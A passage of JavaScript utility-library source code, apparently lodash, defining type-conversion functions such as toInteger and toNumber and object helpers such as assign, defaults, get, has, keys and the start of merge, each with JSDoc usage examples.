12464 var sign = (value < 0 ? -1 : 1);
12465 return sign * MAX_INTEGER;
12466 }
12467 return value === value ? value : 0;
12468 }
12469
12470 /**
12471 * Converts `value` to an integer.
12472 *
12473 * **Note:** This method is loosely based on
12474 * [`ToInteger`](http://www.ecma-international.org/ecma-262/7.0/#sec-tointeger).
12475 *
12476 * @static
12477 * @memberOf _
12478 * @since 4.0.0
12479 * @category Lang
12480 * @param {*} value The value to convert.
12481 * @returns {number} Returns the converted integer.
12482 * @example
12483 *
12484 * _.toInteger(3.2);
12485 * // => 3
12486 *
12487 * _.toInteger(Number.MIN_VALUE);
12488 * // => 0
12489 *
12490 * _.toInteger(Infinity);
12491 * // => 1.7976931348623157e+308
12492 *
12493 * _.toInteger('3.2');
12494 * // => 3
12495 */
12496 function toInteger(value) {
12497 var result = toFinite(value),
12498 remainder = result % 1;
12499
12500 return result === result ? (remainder ? result - remainder : result) : 0;
12501 }
12502
12503 /**
12504 * Converts `value` to an integer suitable for use as the length of an
12505 * array-like object.
12506 *
12507 * **Note:** This method is based on
12508 * [`ToLength`](http://ecma-international.org/ecma-262/7.0/#sec-tolength).
12509 *
12510 * @static
12511 * @memberOf _
12512 * @since 4.0.0
12513 * @category Lang
12514 * @param {*} value The value to convert.
12515 * @returns {number} Returns the converted integer.
12516 * @example
12517 *
12518 * _.toLength(3.2);
12519 * // => 3
12520 *
12521 * _.toLength(Number.MIN_VALUE);
12522 * // => 0
12523 *
12524 * _.toLength(Infinity);
12525 * // => 4294967295
12526 *
12527 * _.toLength('3.2');
12528 * // => 3
12529 */
12530 function toLength(value) {
12531 return value ? baseClamp(toInteger(value), 0, MAX_ARRAY_LENGTH) : 0;
12532 }
12533
12534 /**
12535 * Converts `value` to a number.
12536 *
12537 * @static
12538 * @memberOf _
12539 * @since 4.0.0
12540 * @category Lang
12541 * @param {*} value The value to process.
12542 * @returns {number} Returns the number.
12543 * @example
12544 *
12545 * _.toNumber(3.2);
12546 * // => 3.2
12547 *
12548 * _.toNumber(Number.MIN_VALUE);
12549 * // => 5e-324
12550 *
12551 * _.toNumber(Infinity);
12552 * // => Infinity
12553 *
12554 * _.toNumber('3.2');
12555 * // => 3.2
12556 */
12557 function toNumber(value) {
12558 if (typeof value == 'number') {
12559 return value;
12560 }
12561 if (isSymbol(value)) {
12562 return NAN;
12563 }
12564 if (isObject(value)) {
12565 var other = typeof value.valueOf == 'function' ? value.valueOf() : value;
12566 value = isObject(other) ? (other + '') : other;
12567 }
12568 if (typeof value != 'string') {
12569 return value === 0 ? value : +value;
12570 }
12571 value = baseTrim(value);
12572 var isBinary = reIsBinary.test(value);
12573 return (isBinary || reIsOctal.test(value))
12574 ? freeParseInt(value.slice(2), isBinary ? 2 : 8)
12575 : (reIsBadHex.test(value) ? NAN : +value);
12576 }
12577
12578 /**
12579 * Converts `value` to a plain object flattening inherited enumerable string
12580 * keyed properties of `value` to own properties of the plain object.
12581 *
12582 * @static
12583 * @memberOf _
12584 * @since 3.0.0
12585 * @category Lang
12586 * @param {*} value The value to convert.
12587 * @returns {Object} Returns the converted plain object.
12588 * @example
12589 *
12590 * function Foo() {
12591 * this.b = 2;
12592 * }
12593 *
12594 * Foo.prototype.c = 3;
12595 *
12596 * _.assign({ 'a': 1 }, new Foo);
12597 * // => { 'a': 1, 'b': 2 }
12598 *
12599 * _.assign({ 'a': 1 }, _.toPlainObject(new Foo));
12600 * // => { 'a': 1, 'b': 2, 'c': 3 }
12601 */
12602 function toPlainObject(value) {
12603 return copyObject(value, keysIn(value));
12604 }
12605
12606 /**
12607 * Converts `value` to a safe integer. A safe integer can be compared and
12608 * represented correctly.
12609 *
12610 * @static
12611 * @memberOf _
12612 * @since 4.0.0
12613 * @category Lang
12614 * @param {*} value The value to convert.
12615 * @returns {number} Returns the converted integer.
12616 * @example
12617 *
12618 * _.toSafeInteger(3.2);
12619 * // => 3
12620 *
12621 * _.toSafeInteger(Number.MIN_VALUE);
12622 * // => 0
12623 *
12624 * _.toSafeInteger(Infinity);
12625 * // => 9007199254740991
12626 *
12627 * _.toSafeInteger('3.2');
12628 * // => 3
12629 */
12630 function toSafeInteger(value) {
12631 return value
12632 ? baseClamp(toInteger(value), -MAX_SAFE_INTEGER, MAX_SAFE_INTEGER)
12633 : (value === 0 ? value : 0);
12634 }
12635
12636 /**
12637 * Converts `value` to a string. An empty string is returned for `null`
12638 * and `undefined` values. The sign of `-0` is preserved.
12639 *
12640 * @static
12641 * @memberOf _
12642 * @since 4.0.0
12643 * @category Lang
12644 * @param {*} value The value to convert.
12645 * @returns {string} Returns the converted string.
12646 * @example
12647 *
12648 * _.toString(null);
12649 * // => ''
12650 *
12651 * _.toString(-0);
12652 * // => '-0'
12653 *
12654 * _.toString([1, 2, 3]);
12655 * // => '1,2,3'
12656 */
12657 function toString(value) {
12658 return value == null ? '' : baseToString(value);
12659 }
12660
12661 /*------------------------------------------------------------------------*/
12662
12663 /**
12664 * Assigns own enumerable string keyed properties of source objects to the
12665 * destination object. Source objects are applied from left to right.
12666 * Subsequent sources overwrite property assignments of previous sources.
12667 *
12668 * **Note:** This method mutates `object` and is loosely based on
12669 * [`Object.assign`](https://mdn.io/Object/assign).
12670 *
12671 * @static
12672 * @memberOf _
12673 * @since 0.10.0
12674 * @category Object
12675 * @param {Object} object The destination object.
12676 * @param {...Object} [sources] The source objects.
12677 * @returns {Object} Returns `object`.
12678 * @see _.assignIn
12679 * @example
12680 *
12681 * function Foo() {
12682 * this.a = 1;
12683 * }
12684 *
12685 * function Bar() {
12686 * this.c = 3;
12687 * }
12688 *
12689 * Foo.prototype.b = 2;
12690 * Bar.prototype.d = 4;
12691 *
12692 * _.assign({ 'a': 0 }, new Foo, new Bar);
12693 * // => { 'a': 1, 'c': 3 }
12694 */
12695 var assign = createAssigner(function(object, source) {
12696 if (isPrototype(source) || isArrayLike(source)) {
12697 copyObject(source, keys(source), object);
12698 return;
12699 }
12700 for (var key in source) {
12701 if (hasOwnProperty.call(source, key)) {
12702 assignValue(object, key, source[key]);
12703 }
12704 }
12705 });
12706
12707 /**
12708 * This method is like `_.assign` except that it iterates over own and
12709 * inherited source properties.
12710 *
12711 * **Note:** This method mutates `object`.
12712 *
12713 * @static
12714 * @memberOf _
12715 * @since 4.0.0
12716 * @alias extend
12717 * @category Object
12718 * @param {Object} object The destination object.
12719 * @param {...Object} [sources] The source objects.
12720 * @returns {Object} Returns `object`.
12721 * @see _.assign
12722 * @example
12723 *
12724 * function Foo() {
12725 * this.a = 1;
12726 * }
12727 *
12728 * function Bar() {
12729 * this.c = 3;
12730 * }
12731 *
12732 * Foo.prototype.b = 2;
12733 * Bar.prototype.d = 4;
12734 *
12735 * _.assignIn({ 'a': 0 }, new Foo, new Bar);
12736 * // => { 'a': 1, 'b': 2, 'c': 3, 'd': 4 }
12737 */
12738 var assignIn = createAssigner(function(object, source) {
12739 copyObject(source, keysIn(source), object);
12740 });
12741
12742 /**
12743 * This method is like `_.assignIn` except that it accepts `customizer`
12744 * which is invoked to produce the assigned values. If `customizer` returns
12745 * `undefined`, assignment is handled by the method instead. The `customizer`
12746 * is invoked with five arguments: (objValue, srcValue, key, object, source).
12747 *
12748 * **Note:** This method mutates `object`.
12749 *
12750 * @static
12751 * @memberOf _
12752 * @since 4.0.0
12753 * @alias extendWith
12754 * @category Object
12755 * @param {Object} object The destination object.
12756 * @param {...Object} sources The source objects.
12757 * @param {Function} [customizer] The function to customize assigned values.
12758 * @returns {Object} Returns `object`.
12759 * @see _.assignWith
12760 * @example
12761 *
12762 * function customizer(objValue, srcValue) {
12763 * return _.isUndefined(objValue) ? srcValue : objValue;
12764 * }
12765 *
12766 * var defaults = _.partialRight(_.assignInWith, customizer);
12767 *
12768 * defaults({ 'a': 1 }, { 'b': 2 }, { 'a': 3 });
12769 * // => { 'a': 1, 'b': 2 }
12770 */
12771 var assignInWith = createAssigner(function(object, source, srcIndex, customizer) {
12772 copyObject(source, keysIn(source), object, customizer);
12773 });
12774
12775 /**
12776 * This method is like `_.assign` except that it accepts `customizer`
12777 * which is invoked to produce the assigned values. If `customizer` returns
12778 * `undefined`, assignment is handled by the method instead. The `customizer`
12779 * is invoked with five arguments: (objValue, srcValue, key, object, source).
12780 *
12781 * **Note:** This method mutates `object`.
12782 *
12783 * @static
12784 * @memberOf _
12785 * @since 4.0.0
12786 * @category Object
12787 * @param {Object} object The destination object.
12788 * @param {...Object} sources The source objects.
12789 * @param {Function} [customizer] The function to customize assigned values.
12790 * @returns {Object} Returns `object`.
12791 * @see _.assignInWith
12792 * @example
12793 *
12794 * function customizer(objValue, srcValue) {
12795 * return _.isUndefined(objValue) ? srcValue : objValue;
12796 * }
12797 *
12798 * var defaults = _.partialRight(_.assignWith, customizer);
12799 *
12800 * defaults({ 'a': 1 }, { 'b': 2 }, { 'a': 3 });
12801 * // => { 'a': 1, 'b': 2 }
12802 */
12803 var assignWith = createAssigner(function(object, source, srcIndex, customizer) {
12804 copyObject(source, keys(source), object, customizer);
12805 });
12806
12807 /**
12808 * Creates an array of values corresponding to `paths` of `object`.
12809 *
12810 * @static
12811 * @memberOf _
12812 * @since 1.0.0
12813 * @category Object
12814 * @param {Object} object The object to iterate over.
12815 * @param {...(string|string[])} [paths] The property paths to pick.
12816 * @returns {Array} Returns the picked values.
12817 * @example
12818 *
12819 * var object = { 'a': [{ 'b': { 'c': 3 } }, 4] };
12820 *
12821 * _.at(object, ['a[0].b.c', 'a[1]']);
12822 * // => [3, 4]
12823 */
12824 var at = flatRest(baseAt);
12825
12826 /**
12827 * Creates an object that inherits from the `prototype` object. If a
12828 * `properties` object is given, its own enumerable string keyed properties
12829 * are assigned to the created object.
12830 *
12831 * @static
12832 * @memberOf _
12833 * @since 2.3.0
12834 * @category Object
12835 * @param {Object} prototype The object to inherit from.
12836 * @param {Object} [properties] The properties to assign to the object.
12837 * @returns {Object} Returns the new object.
12838 * @example
12839 *
12840 * function Shape() {
12841 * this.x = 0;
12842 * this.y = 0;
12843 * }
12844 *
12845 * function Circle() {
12846 * Shape.call(this);
12847 * }
12848 *
12849 * Circle.prototype = _.create(Shape.prototype, {
12850 * 'constructor': Circle
12851 * });
12852 *
12853 * var circle = new Circle;
12854 * circle instanceof Circle;
12855 * // => true
12856 *
12857 * circle instanceof Shape;
12858 * // => true
12859 */
12860 function create(prototype, properties) {
12861 var result = baseCreate(prototype);
12862 return properties == null ? result : baseAssign(result, properties);
12863 }
12864
12865 /**
12866 * Assigns own and inherited enumerable string keyed properties of source
12867 * objects to the destination object for all destination properties that
12868 * resolve to `undefined`. Source objects are applied from left to right.
12869 * Once a property is set, additional values of the same property are ignored.
12870 *
12871 * **Note:** This method mutates `object`.
12872 *
12873 * @static
12874 * @since 0.1.0
12875 * @memberOf _
12876 * @category Object
12877 * @param {Object} object The destination object.
12878 * @param {...Object} [sources] The source objects.
12879 * @returns {Object} Returns `object`.
12880 * @see _.defaultsDeep
12881 * @example
12882 *
12883 * _.defaults({ 'a': 1 }, { 'b': 2 }, { 'a': 3 });
12884 * // => { 'a': 1, 'b': 2 }
12885 */
12886 var defaults = baseRest(function(object, sources) {
12887 object = Object(object);
12888
12889 var index = -1;
12890 var length = sources.length;
12891 var guard = length > 2 ? sources[2] : undefined;
12892
12893 if (guard && isIterateeCall(sources[0], sources[1], guard)) {
12894 length = 1;
12895 }
12896
12897 while (++index < length) {
12898 var source = sources[index];
12899 var props = keysIn(source);
12900 var propsIndex = -1;
12901 var propsLength = props.length;
12902
12903 while (++propsIndex < propsLength) {
12904 var key = props[propsIndex];
12905 var value = object[key];
12906
12907 if (value === undefined ||
12908 (eq(value, objectProto[key]) && !hasOwnProperty.call(object, key))) {
12909 object[key] = source[key];
12910 }
12911 }
12912 }
12913
12914 return object;
12915 });
12916
12917 /**
12918 * This method is like `_.defaults` except that it recursively assigns
12919 * default properties.
12920 *
12921 * **Note:** This method mutates `object`.
12922 *
12923 * @static
12924 * @memberOf _
12925 * @since 3.10.0
12926 * @category Object
12927 * @param {Object} object The destination object.
12928 * @param {...Object} [sources] The source objects.
12929 * @returns {Object} Returns `object`.
12930 * @see _.defaults
12931 * @example
12932 *
12933 * _.defaultsDeep({ 'a': { 'b': 2 } }, { 'a': { 'b': 1, 'c': 3 } });
12934 * // => { 'a': { 'b': 2, 'c': 3 } }
12935 */
12936 var defaultsDeep = baseRest(function(args) {
12937 args.push(undefined, customDefaultsMerge);
12938 return apply(mergeWith, undefined, args);
12939 });
12940
12941 /**
12942 * This method is like `_.find` except that it returns the key of the first
12943 * element `predicate` returns truthy for instead of the element itself.
12944 *
12945 * @static
12946 * @memberOf _
12947 * @since 1.1.0
12948 * @category Object
12949 * @param {Object} object The object to inspect.
12950 * @param {Function} [predicate=_.identity] The function invoked per iteration.
12951 * @returns {string|undefined} Returns the key of the matched element,
12952 * else `undefined`.
12953 * @example
12954 *
12955 * var users = {
12956 * 'barney': { 'age': 36, 'active': true },
12957 * 'fred': { 'age': 40, 'active': false },
12958 * 'pebbles': { 'age': 1, 'active': true }
12959 * };
12960 *
12961 * _.findKey(users, function(o) { return o.age < 40; });
12962 * // => 'barney' (iteration order is not guaranteed)
12963 *
12964 * // The `_.matches` iteratee shorthand.
12965 * _.findKey(users, { 'age': 1, 'active': true });
12966 * // => 'pebbles'
12967 *
12968 * // The `_.matchesProperty` iteratee shorthand.
12969 * _.findKey(users, ['active', false]);
12970 * // => 'fred'
12971 *
12972 * // The `_.property` iteratee shorthand.
12973 * _.findKey(users, 'active');
12974 * // => 'barney'
12975 */
12976 function findKey(object, predicate) {
12977 return baseFindKey(object, getIteratee(predicate, 3), baseForOwn);
12978 }
12979
12980 /**
12981 * This method is like `_.findKey` except that it iterates over elements of
12982 * a collection in the opposite order.
12983 *
12984 * @static
12985 * @memberOf _
12986 * @since 2.0.0
12987 * @category Object
12988 * @param {Object} object The object to inspect.
12989 * @param {Function} [predicate=_.identity] The function invoked per iteration.
12990 * @returns {string|undefined} Returns the key of the matched element,
12991 * else `undefined`.
12992 * @example
12993 *
12994 * var users = {
12995 * 'barney': { 'age': 36, 'active': true },
12996 * 'fred': { 'age': 40, 'active': false },
12997 * 'pebbles': { 'age': 1, 'active': true }
12998 * };
12999 *
13000 * _.findLastKey(users, function(o) { return o.age < 40; });
13001 * // => returns 'pebbles' assuming `_.findKey` returns 'barney'
13002 *
13003 * // The `_.matches` iteratee shorthand.
13004 * _.findLastKey(users, { 'age': 36, 'active': true });
13005 * // => 'barney'
13006 *
13007 * // The `_.matchesProperty` iteratee shorthand.
13008 * _.findLastKey(users, ['active', false]);
13009 * // => 'fred'
13010 *
13011 * // The `_.property` iteratee shorthand.
13012 * _.findLastKey(users, 'active');
13013 * // => 'pebbles'
13014 */
13015 function findLastKey(object, predicate) {
13016 return baseFindKey(object, getIteratee(predicate, 3), baseForOwnRight);
13017 }
13018
13019 /**
13020 * Iterates over own and inherited enumerable string keyed properties of an
13021 * object and invokes `iteratee` for each property. The iteratee is invoked
13022 * with three arguments: (value, key, object). Iteratee functions may exit
13023 * iteration early by explicitly returning `false`.
13024 *
13025 * @static
13026 * @memberOf _
13027 * @since 0.3.0
13028 * @category Object
13029 * @param {Object} object The object to iterate over.
13030 * @param {Function} [iteratee=_.identity] The function invoked per iteration.
13031 * @returns {Object} Returns `object`.
13032 * @see _.forInRight
13033 * @example
13034 *
13035 * function Foo() {
13036 * this.a = 1;
13037 * this.b = 2;
13038 * }
13039 *
13040 * Foo.prototype.c = 3;
13041 *
13042 * _.forIn(new Foo, function(value, key) {
13043 * console.log(key);
13044 * });
13045 * // => Logs 'a', 'b', then 'c' (iteration order is not guaranteed).
13046 */
13047 function forIn(object, iteratee) {
13048 return object == null
13049 ? object
13050 : baseFor(object, getIteratee(iteratee, 3), keysIn);
13051 }
13052
13053 /**
13054 * This method is like `_.forIn` except that it iterates over properties of
13055 * `object` in the opposite order.
13056 *
13057 * @static
13058 * @memberOf _
13059 * @since 2.0.0
13060 * @category Object
13061 * @param {Object} object The object to iterate over.
13062 * @param {Function} [iteratee=_.identity] The function invoked per iteration.
13063 * @returns {Object} Returns `object`.
13064 * @see _.forIn
13065 * @example
13066 *
13067 * function Foo() {
13068 * this.a = 1;
13069 * this.b = 2;
13070 * }
13071 *
13072 * Foo.prototype.c = 3;
13073 *
13074 * _.forInRight(new Foo, function(value, key) {
13075 * console.log(key);
13076 * });
13077 * // => Logs 'c', 'b', then 'a' assuming `_.forIn` logs 'a', 'b', then 'c'.
13078 */
13079 function forInRight(object, iteratee) {
13080 return object == null
13081 ? object
13082 : baseForRight(object, getIteratee(iteratee, 3), keysIn);
13083 }
13084
13085 /**
13086 * Iterates over own enumerable string keyed properties of an object and
13087 * invokes `iteratee` for each property. The iteratee is invoked with three
13088 * arguments: (value, key, object). Iteratee functions may exit iteration
13089 * early by explicitly returning `false`.
13090 *
13091 * @static
13092 * @memberOf _
13093 * @since 0.3.0
13094 * @category Object
13095 * @param {Object} object The object to iterate over.
13096 * @param {Function} [iteratee=_.identity] The function invoked per iteration.
13097 * @returns {Object} Returns `object`.
13098 * @see _.forOwnRight
13099 * @example
13100 *
13101 * function Foo() {
13102 * this.a = 1;
13103 * this.b = 2;
13104 * }
13105 *
13106 * Foo.prototype.c = 3;
13107 *
13108 * _.forOwn(new Foo, function(value, key) {
13109 * console.log(key);
13110 * });
13111 * // => Logs 'a' then 'b' (iteration order is not guaranteed).
13112 */
13113 function forOwn(object, iteratee) {
13114 return object && baseForOwn(object, getIteratee(iteratee, 3));
13115 }
13116
13117 /**
13118 * This method is like `_.forOwn` except that it iterates over properties of
13119 * `object` in the opposite order.
13120 *
13121 * @static
13122 * @memberOf _
13123 * @since 2.0.0
13124 * @category Object
13125 * @param {Object} object The object to iterate over.
13126 * @param {Function} [iteratee=_.identity] The function invoked per iteration.
13127 * @returns {Object} Returns `object`.
13128 * @see _.forOwn
13129 * @example
13130 *
13131 * function Foo() {
13132 * this.a = 1;
13133 * this.b = 2;
13134 * }
13135 *
13136 * Foo.prototype.c = 3;
13137 *
13138 * _.forOwnRight(new Foo, function(value, key) {
13139 * console.log(key);
13140 * });
13141 * // => Logs 'b' then 'a' assuming `_.forOwn` logs 'a' then 'b'.
13142 */
13143 function forOwnRight(object, iteratee) {
13144 return object && baseForOwnRight(object, getIteratee(iteratee, 3));
13145 }
13146
13147 /**
13148 * Creates an array of function property names from own enumerable properties
13149 * of `object`.
13150 *
13151 * @static
13152 * @since 0.1.0
13153 * @memberOf _
13154 * @category Object
13155 * @param {Object} object The object to inspect.
13156 * @returns {Array} Returns the function names.
13157 * @see _.functionsIn
13158 * @example
13159 *
13160 * function Foo() {
13161 * this.a = _.constant('a');
13162 * this.b = _.constant('b');
13163 * }
13164 *
13165 * Foo.prototype.c = _.constant('c');
13166 *
13167 * _.functions(new Foo);
13168 * // => ['a', 'b']
13169 */
13170 function functions(object) {
13171 return object == null ? [] : baseFunctions(object, keys(object));
13172 }
13173
13174 /**
13175 * Creates an array of function property names from own and inherited
13176 * enumerable properties of `object`.
13177 *
13178 * @static
13179 * @memberOf _
13180 * @since 4.0.0
13181 * @category Object
13182 * @param {Object} object The object to inspect.
13183 * @returns {Array} Returns the function names.
13184 * @see _.functions
13185 * @example
13186 *
13187 * function Foo() {
13188 * this.a = _.constant('a');
13189 * this.b = _.constant('b');
13190 * }
13191 *
13192 * Foo.prototype.c = _.constant('c');
13193 *
13194 * _.functionsIn(new Foo);
13195 * // => ['a', 'b', 'c']
13196 */
13197 function functionsIn(object) {
13198 return object == null ? [] : baseFunctions(object, keysIn(object));
13199 }
13200
13201 /**
13202 * Gets the value at `path` of `object`. If the resolved value is
13203 * `undefined`, the `defaultValue` is returned in its place.
13204 *
13205 * @static
13206 * @memberOf _
13207 * @since 3.7.0
13208 * @category Object
13209 * @param {Object} object The object to query.
13210 * @param {Array|string} path The path of the property to get.
13211 * @param {*} [defaultValue] The value returned for `undefined` resolved values.
13212 * @returns {*} Returns the resolved value.
13213 * @example
13214 *
13215 * var object = { 'a': [{ 'b': { 'c': 3 } }] };
13216 *
13217 * _.get(object, 'a[0].b.c');
13218 * // => 3
13219 *
13220 * _.get(object, ['a', '0', 'b', 'c']);
13221 * // => 3
13222 *
13223 * _.get(object, 'a.b.c', 'default');
13224 * // => 'default'
13225 */
13226 function get(object, path, defaultValue) {
13227 var result = object == null ? undefined : baseGet(object, path);
13228 return result === undefined ? defaultValue : result;
13229 }
13230
13231 /**
13232 * Checks if `path` is a direct property of `object`.
13233 *
13234 * @static
13235 * @since 0.1.0
13236 * @memberOf _
13237 * @category Object
13238 * @param {Object} object The object to query.
13239 * @param {Array|string} path The path to check.
13240 * @returns {boolean} Returns `true` if `path` exists, else `false`.
13241 * @example
13242 *
13243 * var object = { 'a': { 'b': 2 } };
13244 * var other = _.create({ 'a': _.create({ 'b': 2 }) });
13245 *
13246 * _.has(object, 'a');
13247 * // => true
13248 *
13249 * _.has(object, 'a.b');
13250 * // => true
13251 *
13252 * _.has(object, ['a', 'b']);
13253 * // => true
13254 *
13255 * _.has(other, 'a');
13256 * // => false
13257 */
13258 function has(object, path) {
13259 return object != null && hasPath(object, path, baseHas);
13260 }
13261
13262 /**
13263 * Checks if `path` is a direct or inherited property of `object`.
13264 *
13265 * @static
13266 * @memberOf _
13267 * @since 4.0.0
13268 * @category Object
13269 * @param {Object} object The object to query.
13270 * @param {Array|string} path The path to check.
13271 * @returns {boolean} Returns `true` if `path` exists, else `false`.
13272 * @example
13273 *
13274 * var object = _.create({ 'a': _.create({ 'b': 2 }) });
13275 *
13276 * _.hasIn(object, 'a');
13277 * // => true
13278 *
13279 * _.hasIn(object, 'a.b');
13280 * // => true
13281 *
13282 * _.hasIn(object, ['a', 'b']);
13283 * // => true
13284 *
13285 * _.hasIn(object, 'b');
13286 * // => false
13287 */
13288 function hasIn(object, path) {
13289 return object != null && hasPath(object, path, baseHasIn);
13290 }
13291
13292 /**
13293 * Creates an object composed of the inverted keys and values of `object`.
13294 * If `object` contains duplicate values, subsequent values overwrite
13295 * property assignments of previous values.
13296 *
13297 * @static
13298 * @memberOf _
13299 * @since 0.7.0
13300 * @category Object
13301 * @param {Object} object The object to invert.
13302 * @returns {Object} Returns the new inverted object.
13303 * @example
13304 *
13305 * var object = { 'a': 1, 'b': 2, 'c': 1 };
13306 *
13307 * _.invert(object);
13308 * // => { '1': 'c', '2': 'b' }
13309 */
13310 var invert = createInverter(function(result, value, key) {
13311 if (value != null &&
13312 typeof value.toString != 'function') {
13313 value = nativeObjectToString.call(value);
13314 }
13315
13316 result[value] = key;
13317 }, constant(identity));
13318
13319 /**
13320 * This method is like `_.invert` except that the inverted object is generated
13321 * from the results of running each element of `object` thru `iteratee`. The
13322 * corresponding inverted value of each inverted key is an array of keys
13323 * responsible for generating the inverted value. The iteratee is invoked
13324 * with one argument: (value).
13325 *
13326 * @static
13327 * @memberOf _
13328 * @since 4.1.0
13329 * @category Object
13330 * @param {Object} object The object to invert.
13331 * @param {Function} [iteratee=_.identity] The iteratee invoked per element.
13332 * @returns {Object} Returns the new inverted object.
13333 * @example
13334 *
13335 * var object = { 'a': 1, 'b': 2, 'c': 1 };
13336 *
13337 * _.invertBy(object);
13338 * // => { '1': ['a', 'c'], '2': ['b'] }
13339 *
13340 * _.invertBy(object, function(value) {
13341 * return 'group' + value;
13342 * });
13343 * // => { 'group1': ['a', 'c'], 'group2': ['b'] }
13344 */
13345 var invertBy = createInverter(function(result, value, key) {
13346 if (value != null &&
13347 typeof value.toString != 'function') {
13348 value = nativeObjectToString.call(value);
13349 }
13350
13351 if (hasOwnProperty.call(result, value)) {
13352 result[value].push(key);
13353 } else {
13354 result[value] = [key];
13355 }
13356 }, getIteratee);
13357
13358 /**
13359 * Invokes the method at `path` of `object`.
13360 *
13361 * @static
13362 * @memberOf _
13363 * @since 4.0.0
13364 * @category Object
13365 * @param {Object} object The object to query.
13366 * @param {Array|string} path The path of the method to invoke.
13367 * @param {...*} [args] The arguments to invoke the method with.
13368 * @returns {*} Returns the result of the invoked method.
13369 * @example
13370 *
13371 * var object = { 'a': [{ 'b': { 'c': [1, 2, 3, 4] } }] };
13372 *
13373 * _.invoke(object, 'a[0].b.c.slice', 1, 3);
13374 * // => [2, 3]
13375 */
13376 var invoke = baseRest(baseInvoke);
13377
13378 /**
13379 * Creates an array of the own enumerable property names of `object`.
13380 *
13381 * **Note:** Non-object values are coerced to objects. See the
13382 * [ES spec](http://ecma-international.org/ecma-262/7.0/#sec-object.keys)
13383 * for more details.
13384 *
13385 * @static
13386 * @since 0.1.0
13387 * @memberOf _
13388 * @category Object
13389 * @param {Object} object The object to query.
13390 * @returns {Array} Returns the array of property names.
13391 * @example
13392 *
13393 * function Foo() {
13394 * this.a = 1;
13395 * this.b = 2;
13396 * }
13397 *
13398 * Foo.prototype.c = 3;
13399 *
13400 * _.keys(new Foo);
13401 * // => ['a', 'b'] (iteration order is not guaranteed)
13402 *
13403 * _.keys('hi');
13404 * // => ['0', '1']
13405 */
13406 function keys(object) {
13407 return isArrayLike(object) ? arrayLikeKeys(object) : baseKeys(object);
13408 }
13409
13410 /**
13411 * Creates an array of the own and inherited enumerable property names of `object`.
13412 *
13413 * **Note:** Non-object values are coerced to objects.
13414 *
13415 * @static
13416 * @memberOf _
13417 * @since 3.0.0
13418 * @category Object
13419 * @param {Object} object The object to query.
13420 * @returns {Array} Returns the array of property names.
13421 * @example
13422 *
13423 * function Foo() {
13424 * this.a = 1;
13425 * this.b = 2;
13426 * }
13427 *
13428 * Foo.prototype.c = 3;
13429 *
13430 * _.keysIn(new Foo);
13431 * // => ['a', 'b', 'c'] (iteration order is not guaranteed)
13432 */
13433 function keysIn(object) {
13434 return isArrayLike(object) ? arrayLikeKeys(object, true) : baseKeysIn(object);
13435 }
13436
13437 /**
13438 * The opposite of `_.mapValues`; this method creates an object with the
13439 * same values as `object` and keys generated by running each own enumerable
13440 * string keyed property of `object` thru `iteratee`. The iteratee is invoked
13441 * with three arguments: (value, key, object).
13442 *
13443 * @static
13444 * @memberOf _
13445 * @since 3.8.0
13446 * @category Object
13447 * @param {Object} object The object to iterate over.
13448 * @param {Function} [iteratee=_.identity] The function invoked per iteration.
13449 * @returns {Object} Returns the new mapped object.
13450 * @see _.mapValues
13451 * @example
13452 *
13453 * _.mapKeys({ 'a': 1, 'b': 2 }, function(value, key) {
13454 * return key + value;
13455 * });
13456 * // => { 'a1': 1, 'b2': 2 }
13457 */
13458 function mapKeys(object, iteratee) {
13459 var result = {};
13460 iteratee = getIteratee(iteratee, 3);
13461
13462 baseForOwn(object, function(value, key, object) {
13463 baseAssignValue(result, iteratee(value, key, object), value);
13464 });
13465 return result;
13466 }
13467
13468 /**
13469 * Creates an object with the same keys as `object` and values generated
13470 * by running each own enumerable string keyed property of `object` thru
13471 * `iteratee`. The iteratee is invoked with three arguments:
13472 * (value, key, object).
13473 *
13474 * @static
13475 * @memberOf _
13476 * @since 2.4.0
13477 * @category Object
13478 * @param {Object} object The object to iterate over.
13479 * @param {Function} [iteratee=_.identity] The function invoked per iteration.
13480 * @returns {Object} Returns the new mapped object.
13481 * @see _.mapKeys
13482 * @example
13483 *
13484 * var users = {
13485 * 'fred': { 'user': 'fred', 'age': 40 },
13486 * 'pebbles': { 'user': 'pebbles', 'age': 1 }
13487 * };
13488 *
13489 * _.mapValues(users, function(o) { return o.age; });
13490 * // => { 'fred': 40, 'pebbles': 1 } (iteration order is not guaranteed)
13491 *
13492 * // The `_.property` iteratee shorthand.
13493 * _.mapValues(users, 'age');
13494 * // => { 'fred': 40, 'pebbles': 1 } (iteration order is not guaranteed)
13495 */
13496 function mapValues(object, iteratee) {
13497 var result = {};
13498 iteratee = getIteratee(iteratee, 3);
13499
13500 baseForOwn(object, function(value, key, object) {
13501 baseAssignValue(result, key, iteratee(value, key, object));
13502 });
13503 return result;
13504 }
13505
13506 /**
13507 * This method is like `_.assign` except that it recursively merges own and
13508 * inherited enumerable string keyed properties of source objects into the
13509 * destination object. Source properties that resolve to `undefined` are
13510 * skipped if a destination value exists. Array and plain object properties
13511 * are merged recursively. Other objects and value types are overridden by
13512 * assignment. Source objects are applied from left to right. Subsequent
13513 * sources overwrite property assignments of previous sources.
13514 *
13515 * **Note:** This method mutates `object`.
13516 *
13517 * @static
13518 * @memberOf _
13519 * @since 0.5.0
13520 * @category Object
13521 * @param {Object} object The destination object.
13522 * @param {...Object} [sources] The source objects.
13523 * @returns {Object} Returns `object`.
13524 * @example
13525 *
13526 * var object = {
13527 * 'a': [{ 'b': 2 }, { 'd': 4 }]
13528 * };
13529 *
13530 * var other = {
13531 * 'a': [{ 'c': 3 }, { 'e': 5 }]
13532 * };
13533 *
13534 * _.merge(object, other);
13535 * // => { 'a': [{ 'b': 2, 'c': 3 }, { 'd': 4, 'e': 5 }] }
13536 */
13537 var merge = createAssigner(function(object, source, srcIndex) {
13538 baseMerge(object, source, srcIndex);
13539 });
13540
13541 /**
13542 * This method is like `_.merge` except that it accepts `customizer` which
13543 * is invoked to produce the merged values of the destination and source
13544 * properties. If `customizer` returns `undefined`, merging is handled by the
13545 * method instead. The `customizer` is invoked with six arguments:
13546 * (objValue, srcValue, key, object, source, stack).
13547 *
13548 * **Note:** This method mutates `object`.
13549 *
13550 * @static
13551 * @memberOf _
13552 * @since 4.0.0
13553 * @category Object
13554 * @param {Object} object The destination object.
13555 * @param {...Object} sources The source objects.
13556 * @param {Function} customizer The function to customize assigned values.
13557 * @returns {Object} Returns `object`.
13558 * @example
13559 *
13560 * function customizer(objValue, srcValue) {
13561 * if (_.isArray(objValue)) {
13562 * return objValue.concat(srcValue);
13563 * }
13564 * }
13565 *
13566 * var object = { 'a': [1], 'b': [2] };
